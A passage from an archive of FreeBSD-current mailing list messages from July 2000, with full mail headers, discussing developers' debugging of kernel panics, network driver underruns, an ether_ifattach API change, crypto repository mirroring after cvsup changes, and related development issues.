text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <65305.963575791@axl.ops.uunet.co.za>; from sheldonh@uunet.co.za on Fri, Jul 14, 2000 at 01:56:31PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jul 14, 2000 at 01:56:31PM +0200, Sheldon Hearn wrote: > Also, he clarified the last sentence for me, by saying that it's the > crypto ,v files that need to be removed and not the checked out crypto > files. What about the non-US cvsup mirrors? Most of them used cvsup to mirror the crypto distributions from internat. Does this mean that these mirrors have to nuke theier local copies (of the crypto files), too? That would be a major problem for all users of these mirrors. They would have to wait until "their" mirror fixed it's copy... Is it possible to check if a repository is affected? Something along the lines of "/home/ncvs/src/crypto/foo.c should have revision bar, last commit by ... on ..., the md5 should be ..." /s/Udo -- "People who claim Windows in superior to Unix are the same people who'd argue that you better use your hand instead of toilet paper to wipe your ass. I can hear them now - 'It's colourful and it's intuitive and easy to use and even a child could do it.'". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 6:36:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from smople.thehub.com.au (smople.thehub.com.au [203.143.240.10]) by hub.freebsd.org (Postfix) with ESMTP id 2D99437C87A; Fri, 14 Jul 2000 06:36:01 -0700 (PDT) (envelope-from mckay@thehub.com.au) Received: from dungeon.home (ppp228.dyn250.pacific.net.au [203.143.250.228]) by smople.thehub.com.au (8.9.3/8.9.1) with ESMTP id XAA49864; Fri, 14 Jul 2000 23:35:50 +1000 (EST) Received: from dungeon.home (localhost [127.0.0.1]) by dungeon.home (8.9.3/8.9.3) with ESMTP id XAA02458; Fri, 14 Jul 2000 23:37:57 +1000 (EST) (envelope-from mckay) Message-Id: <200007141337.XAA02458@dungeon.home> To: mjacob@feral.com Cc: wilko@FreeBSD.ORG, Stephen McKay , "Rodney W. Grimes" , "Brandon D. Valentine" , Stefan Esser , Bill Paul , freebsd-current@FreeBSD.ORG Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) References: In-Reply-To: from Matthew Jacob at "Fri, 14 Jul 2000 00:23:39 -0700" Date: Fri, 14 Jul 2000 23:37:57 +1000 From: Stephen McKay Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, 14th July 2000, Matthew Jacob wrote: > >> That theory is not correct, I have seen multiple Alpha machines reporting >> buffer underruns as well. No ATA disk in sight there.. > >This has been a reported feature of the tulip chip and alphas (de driver >usually) forever forever forever. And there's no guarantee that there is just one cause. If the dc driver with BX and ZX chipsets never has an underrun, and the 2 VIA chipsets I've tried always cause underruns, there might be something we can fix. Even if we never manage to fix it on Alphas. >It's not a bug, per se, IMO. In the i386 case, there's some sort of PCI bus starvation. Maybe we can fix it. Maybe not. We can at least try to categorise it. Maybe it's as simple as a BIOS option we should tweak. Stephen. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 7:46:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id 37C5537B53C; Fri, 14 Jul 2000 07:46:47 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (2602 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Fri, 14 Jul 2000 16:46:45 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 6202B483D; Fri, 14 Jul 2000 16:46:42 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: from Steve O'Hara-Smith at "Jul 13, 0 10:37:29 am" To: steveo@eircom.net (Steve O'Hara-Smith) Date: Fri, 14 Jul 2000 16:46:42 +0200 (METDST) Cc: hm@hcs.de, peter@FreeBSD.ORG, dcs@newsguy.com, freebsd-current@FreeBSD.ORG Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1610 Message-Id: <20000714144642.6202B483D@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From the keyboard of Steve O'Hara-Smith: > On 13-Jul-00 Hellmuth Michaelis wrote: > > I'm now completely out of ideas .... > > Try and pin down which printf really makes a difference ? Ok, did that. Surprise: i removed all the debugging code and all changes i made to track down what happenes in the kbd driver as well as the pcvt driver - everything now is completely as it was and it tracks down to a single printf in /sys/dev/kbd.c: adding it lets a pcvt kernel boot as happily as before, removing this printf gives the described panic: /* find the keyboard specified by a driver name and a unit number */ int kbd_find_keyboard(char *driver, int unit) { int i; printf("kbd_find_keyboard\n"); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ for (i = 0; i < keyboards; ++i) { ... I'm currently re-cvsupping/recompiling a completly fresh tree to reproduce this to make shure it is really this single printf. Also i will try out something to make shure it is not a timing problem somewhere. > I recall a long time ago a bit of code that had calls to a function > that did nothing, the comment was that it prevented an MSC optimiser bug from > screwing things up. Oh oh ... I would really appreciate it if someone else would have a look at this. hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 8:47: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 096C637C6C1; Fri, 14 Jul 2000 08:46:59 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id IAA10317; Fri, 14 Jul 2000 08:46:54 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200007141546.IAA10317@bubba.whistle.com> Subject: Re: ether_ifattach() change and VMware In-Reply-To: <20000714202839P.haro@tk.kubota.co.jp> from Munehiro Matsuda at "Jul 14, 2000 08:28:39 pm" To: Munehiro Matsuda Date: Fri, 14 Jul 2000 08:46:54 -0700 (PDT) Cc: Archie Cobbs , freebsd-current@FreeBSD.org, freebsd-ports@FreeBSD.org, ak@freenet.co.uk X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Munehiro Matsuda writes: > :: Make all Ethernet drivers attach using ether_ifattach() and detach using > :: ether_ifdetach(). > > After the commit, VMware seems to hang the system at boot time. > The "vmnet" module, that comes with VMware, needs the included patch. OK, I'm CC:'ing the port maintainer.. > Shouldn't we bump version or something, due to the kernel API change? Good idea.. I just did that. > --- vmnet-only/freebsd/vmnet.c.org Fri Jul 14 16:18:50 2000 > +++ vmnet-only/freebsd/vmnet.c Fri Jul 14 16:21:51 2000 > @@ -156,9 +156,7 @@ > DLog(Linfo, DEVICE_NAME "%d: Ethernet address: %6D", ifp->if_unit, sc->iface.arpcom.ac_enaddr, ":"); > > s = splimp(); > - if_attach(ifp); > - ether_ifattach(ifp); > - bpfattach(ifp, DLT_EN10MB, sizeof(struct ether_header)); > + ether_ifattach(ifp, ETHER_BPF_SUPPORTED); > splx(s); > > return 0; -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 9:10:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from lindt.urgle.com (lindt.urgle.com [195.173.172.169]) by hub.freebsd.org (Postfix) with ESMTP id C4B1837B87C for ; Fri, 14 Jul 2000 09:10:38 -0700 (PDT) (envelope-from mike@urgle.com) Received: from mike by lindt.urgle.com with local (Exim 3.03 #1) id 13D82k-000Dkb-00; Fri, 14 Jul 2000 17:10:26 +0100 Date: Fri, 14 Jul 2000 17:10:26 +0100 From: Mike Bristow To: Doug Barton Cc: Thomas Stromberg , freebsd-current@freebsd.org Subject: Re: SB Live (or RAM parity?) crash on today's -CURRENT Message-ID: <20000714171026.A52843@lindt.urgle.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from Doug@gorean.org on Thu, Jul 06, 2000 at 06:32:49PM -0700 X-Rated: Cocaine, COSCO, Tony Blair Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jul 06, 2000 at 06:32:49PM -0700, Doug Barton wrote: > On Thu, 6 Jul 2000, Thomas Stromberg wrote: > > > 'panic: RAM parity error, likely hardware failure.' > > > > This one had me confused at first, because it blamed a RAM parity > > error. As this is a brand new machine (Gateway GP-800), so I first thought > > I got a bad batch. Then I realized this only happens with apps that try to > > do sound stuff. > > This is a known problem with all PCI sound cards. It happens most > often with ECC ram, but it also happens without. What kind of NIC do you > have, and specifically, is it a PCI card or ISA? We're trying to track > that bit down too. I see it with: mike@gurgle:~$ dmesg | grep vr0 vr0: port 0xb000-0xb07f mem 0xdf800000-0xdf80007f irq 10 at device 10.0 on pci0 The machine does have ECC ram. If you need more, let me know and I'll give you what you need... -- Mike Bristow, seebitwopie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 9:15:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from eeyore.local.dohd.org (d0030.dtk.chello.nl [213.46.0.30]) by hub.freebsd.org (Postfix) with ESMTP id 7FE1437C8B5 for ; Fri, 14 Jul 2000 09:15:12 -0700 (PDT) (envelope-from freebsd@dohd.org) Received: by eeyore.local.dohd.org (Postfix+IPv6, from userid 1008) id 29F35BA9F; Fri, 14 Jul 2000 18:15:10 +0200 (MET DST) Date: Fri, 14 Jul 2000 18:15:10 +0200 From: Mark Huizer To: current@freebsd.org Subject: -current, racoon, ipsec Message-ID: <20000714181510.A46352@dohd.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm trying to get racoon to work on my -current machine, but so far compiling is a horror. It tries to compile using it's own libipsec, which gives troubles when starting racoon (pfkey: no such protocol). So... I tried using the system libipsec, which has pfkey and pfkey_dump commented in the source file. Tried to put these in, and ipsec_hexdump is missing. Does anyone have this working and how? Mark -- Nice testing in little China... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 9:51: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from eeyore.local.dohd.org (d0030.dtk.chello.nl [213.46.0.30]) by hub.freebsd.org (Postfix) with ESMTP id 5067337C9BE for ; Fri, 14 Jul 2000 09:50:52 -0700 (PDT) (envelope-from freebsd@dohd.org) Received: by eeyore.local.dohd.org (Postfix+IPv6, from userid 1008) id 7FC5CBA9F; Fri, 14 Jul 2000 18:50:44 +0200 (MET DST) Date: Fri, 14 Jul 2000 18:50:44 +0200 From: Mark Huizer To: current@freebsd.org Subject: Re: -current, racoon, ipsec Message-ID: <20000714185044.A46560@dohd.cx> References: <20000714181510.A46352@dohd.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000714181510.A46352@dohd.cx>; from freebsd@dohd.cx on Fri, Jul 14, 2000 at 06:15:10PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I'm trying to get racoon to work on my -current machine, but so far > compiling is a horror. > > It tries to compile using it's own libipsec, which gives troubles when > starting racoon (pfkey: no such protocol). Grr... ok, that might be solved when putting IPSEC in the kernel config, but the second part still stands, I guess. (Why include libipsec code when it is in the base tree... they should be compatible) > So... I tried using the system libipsec, which has pfkey and pfkey_dump > commented in the source file. Tried to put these in, and ipsec_hexdump > is missing. > > Does anyone have this working and how? > > Mark > -- > Nice testing in little China... > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- Nice testing in little China... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 10: 4: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 495DC37BB15 for ; Fri, 14 Jul 2000 10:03:56 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.7/nospam) with UUCP id TAA06408 for freebsd-current@FreeBSD.ORG; Fri, 14 Jul 2000 19:03:49 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id AB2AB87AE; Fri, 14 Jul 2000 18:08:32 +0200 (CEST) Date: Fri, 14 Jul 2000 18:08:32 +0200 From: Ollivier Robert To: freebsd-current@FreeBSD.ORG Subject: Re: smbfs problem Message-ID: <20000714180832.A69429@keltia.freenix.fr> Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <3968A683.C4238D08@freenet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from bp@butya.kz on Thu, Jul 13, 2000 at 03:29:05PM +0700 X-Operating-System: FreeBSD 5.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Boris Popov: > New version (1.2.4) can be downloaded from > ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz Please please pretty please, do commit it! -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun 4 22:44:19 CEST 2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 10:14: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 43D7D37C670 for ; Fri, 14 Jul 2000 10:13:51 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id SAA92982; Fri, 14 Jul 2000 18:13:44 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id SAA07119; Fri, 14 Jul 2000 18:13:41 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007141713.SAA07119@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Sheldon Hearn Cc: Warner Losh , Mark Murray , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: Message from Sheldon Hearn of "Fri, 14 Jul 2000 13:56:31 +0200." <65305.963575791@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 14 Jul 2000 18:13:41 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > On Thu, 13 Jul 2000 19:19:48 +0200, Mark Murray wrote: > > > > 20000711: > > > If you used to get your crypto files from internat, AND you > > > used cvsup to get cvs' ,v files, then the latest changes > > > to the source collections will impact you. You will need to > > > remove all the crypto files and start over. > > Warner, Mark says that this applies if you used CTM to get cvs's ,v > files, not CTM. Also, he clarified the last sentence for me, by saying > that it's the crypto ,v files that need to be removed and not the > checked out crypto files. It applies if you overwrite your ,v files with the src-all ones, whether by CTM or cvsup. ``cvs checkout'' will compare the checked out version with the repo version and think it has nothing to do, emitting M src/crypto/whatever > Ciao, > Sheldon. -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 10:15: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 5B83D37B8A8; Fri, 14 Jul 2000 10:14:52 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id SAA93001; Fri, 14 Jul 2000 18:14:47 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id SAA07158; Fri, 14 Jul 2000 18:14:44 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007141714.SAA07158@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Charles Anderson Cc: Brian Somers , current@FreeBSD.ORG, John Polstra , Mark Murray , Warner Losh , brian@Awfulhak.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: Message from Charles Anderson of "Fri, 14 Jul 2000 09:09:32 -0000." <20000714090932.B2219@midgard.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 14 Jul 2000 18:14:44 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG cd /usr/src/whereever && cvs diff or just check your ``cvs checkout'' output for lines beginning with M. > How can I tell if I need to nuke my crypto files? Sounds like I should > have this problem but it doen't look like I do. I looked through the > commits for the past few days searching for crypto, and I have all of the > files that were commited. (secure/lib/libcrypto/Makefile & Makefile.inc from > earlier today & crypto/openssh/ readconf.c, servconf.c, ssh_config, sshd.8, > & /telnet/libtelnet/auth.c from 7/11/00) > > thanks, > -Charlie > On Wed, Jul 12, 2000 at 03:05:25PM +0100, Brian Somers wrote: > > I haven't looked into it too deeply yet because of other source tree > > problems, but if you used to get your crypto ,v files from internat, > > you will suffer some funny problems unless you nuke the old checked-out > > files. > > > > My apologies if this is old news, but I see nothing in UPDATING. > > > > The problem occurs when you cvsup the new crypto-in-src-all sources > > and replace RCS files with different contents and the same version > > number. cvs update/checkout compares the repo version number against > > the checked out version number and considers the file an ``M'' > > (modified source). The file isn't updated and your world gets > > corrupted. > > > > This is probably a candidate for UPDATING. [.....] > -- > Charles Anderson caa@columbus.rr.com > > No quote, no nothin' > -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 11:19:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id D885437B73F for ; Fri, 14 Jul 2000 11:19:11 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id LAA11381; Fri, 14 Jul 2000 11:18:36 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200007141818.LAA11381@bubba.whistle.com> Subject: Re: possible NETGRAPH/NG_ETHER bug In-Reply-To: <396DE3A5.167EB0E7@elischer.org> from Julian Elischer at "Jul 13, 2000 08:43:33 am" To: Julian Elischer Date: Fri, 14 Jul 2000 11:18:36 -0700 (PDT) Cc: "Yevmenkin, Maksim N, CSCIO" , "'freebsd-current@freebsd.org'" X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Julian Elischer writes: > > i was working on integration of Ethernet TAP driver and NETGRAPH > > and found strange thing. the problem is that NG_ETHER nodes do not > > detach correctly when interface is gone. i was taking a very quick > > look at it, and, it seems to me that we are missing one reference > > to a node. i think it is ng_name_node/ng_unname pair. > > This is quite possible because until recently interfaces could never > be removed. Therefore the act of removing a node was really > just a case of RESETTING the node. It was not removed. Here's some more info that may be helpful. First of all, until yesterday, if you detach an ethernet interface that was using netgraph you'd get a kernel panic (or somesuch) -- it was simply broken. This change will be MFC'd soon but it hasn't yet so we're talking -current only at this point. Now, it all should work as designed... where "as designed" means: 1. Ethernet nodes appear for each Ethernet interface at the first moment when the following conditions *both* become true: (a) ng_ether.ko KLD is loaded (or kernel has options NETGRAPH_ETHER) (b) The interface is attached (e.g., at boot time, or when the PCCARD or USB device is connected). 2. Ethernet nodes disappear when/if the interface is detached (e.g., you pop out your Ethernet PCCARD). 3. Telling an Ethernet node to shutdown (e.g., "ngctl kill fxp0:") simply *resets* the node, i.e., breaks all connections to other nodes. The node does NOT go away until #2 happens. 4. You cannot kldunload ng_ether.ko until all Ethernet nodes are detached (for obvious reasons, considering #1 and #2). If you are seeing other behavior that this using -current sources, please let me know, as there is a BUG. OTOH, if you think the behavior "as designed" is incorrect, let's discuss. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 11:53:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id 9252B37B8B0; Fri, 14 Jul 2000 11:53:43 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (1649 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Fri, 14 Jul 2000 20:53:43 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 96249483B; Fri, 14 Jul 2000 20:53:40 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <20000714144642.6202B483D@hcswork.hcs.de> from Hellmuth Michaelis at "Jul 14, 0 04:46:42 pm" To: steveo@eircom.net Date: Fri, 14 Jul 2000 20:53:40 +0200 (METDST) Cc: peter@FreeBSD.ORG, dcs@newsguy.com, freebsd-current@FreeBSD.ORG Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 701 Message-Id: <20000714185340.96249483B@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From the keyboard of Hellmuth Michaelis: > I'm currently re-cvsupping/recompiling a completly fresh tree to reproduce > this to make shure it is really this single printf. Its reproducible. Different machine/location/hardware, cvsupped 3 hr's ago, rm /usr/src, /usr/obj, make world, make kernel. This one single printf makes the difference between a the panic or run fine. hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 12: 0:52 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 0C63D37B814; Fri, 14 Jul 2000 12:00:50 -0700 (PDT) Date: Fri, 14 Jul 2000 12:00:49 -0700 From: "Andrey A. Chernov" To: current@freebsd.org Subject: New boot0 not work with ahc Message-ID: <20000714120049.A8983@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG New boot0 cause dead hang (nothing appearse on the screen) with Adaptec SCSI BIOS ahc0: Standard MBR works fine. All in first 1024 cyls. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 12:21:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id 4547137C616 for ; Fri, 14 Jul 2000 12:21:37 -0700 (PDT) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97]) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 13DB1Y-0006C5-00 for current@freebsd.org; Fri, 14 Jul 2000 20:21:24 +0100 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.9.3/8.9.3) id UAA08709 for current@freebsd.org; Fri, 14 Jul 2000 20:21:24 +0100 (BST) (envelope-from jcm) Date: Fri, 14 Jul 2000 20:21:23 +0100 From: j mckitrick To: current@freebsd.org Subject: parallel port zip patch - committer needed Message-ID: <20000714202123.A8666@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi all, i have been working with nicholas souchu to fix the parallel port zip drive bug. we think we have it beat. however, nicholas doesn't have a devbox, so he has asked me if someone could contact me for the corresponding fix. i have a few minor details to ask him about, and he will then contact you with the patch. jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 13:30:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail4.svr.pol.co.uk (mail4.svr.pol.co.uk [195.92.193.211]) by hub.freebsd.org (Postfix) with ESMTP id 8C9DA37BA02 for ; Fri, 14 Jul 2000 13:30:13 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from [195.92.198.123] (helo=mail17.svr.pol.co.uk) by mail4.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 13DC65-0006d5-00; Fri, 14 Jul 2000 21:30:09 +0100 Received: from modem-117.curunir.dialup.pol.co.uk ([62.136.149.245] helo=henny.webweaving.org) by mail17.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 13DC5z-0003Gs-00; Fri, 14 Jul 2000 21:30:04 +0100 Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id VAA17842; Fri, 14 Jul 2000 21:23:57 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Fri, 14 Jul 2000 21:23:57 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: "Michael C. Wu" Cc: FreeBSD CURRENT Mailing List Subject: Re: about Kern/15436 In-Reply-To: <20000705010454.A26452@peorth.iteration.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Could people, when posting these kinds of requests, add a one sentence outline of what the PR / web page contains? Most people do not take the time to look at the page if there is no barebones description of what the information contains. Thanks in advance. Nick P.S.: Keep posting them. It is one of the best ways to get people interested in the larger PRs and change requests. On Wed, 5 Jul 2000, Michael C. Wu wrote: > > Will you consider looking at : > > http://dorifer.heim3.tu-clausthal.de/~olli/propellers/ > > http://www.freebsd.org/cgi/query-pr.cgi?pr=15436 > > It is an additional functionality and should not > pose a stability/tradition/POLA issue. > > Perhaps we can get this done in time for for 4.1-R? > > Regards, > -- > +------------------------------------------------------------------+ > | keichii@peorth.iteration.net | keichii@bsdconspiracy.net | > | http://peorth.iteration.net/~keichii | Yes, BSD is a conspiracy. | > +------------------------------------------------------------------+ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 13:39:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 28D5937B5E7; Fri, 14 Jul 2000 13:39:30 -0700 (PDT) (envelope-from 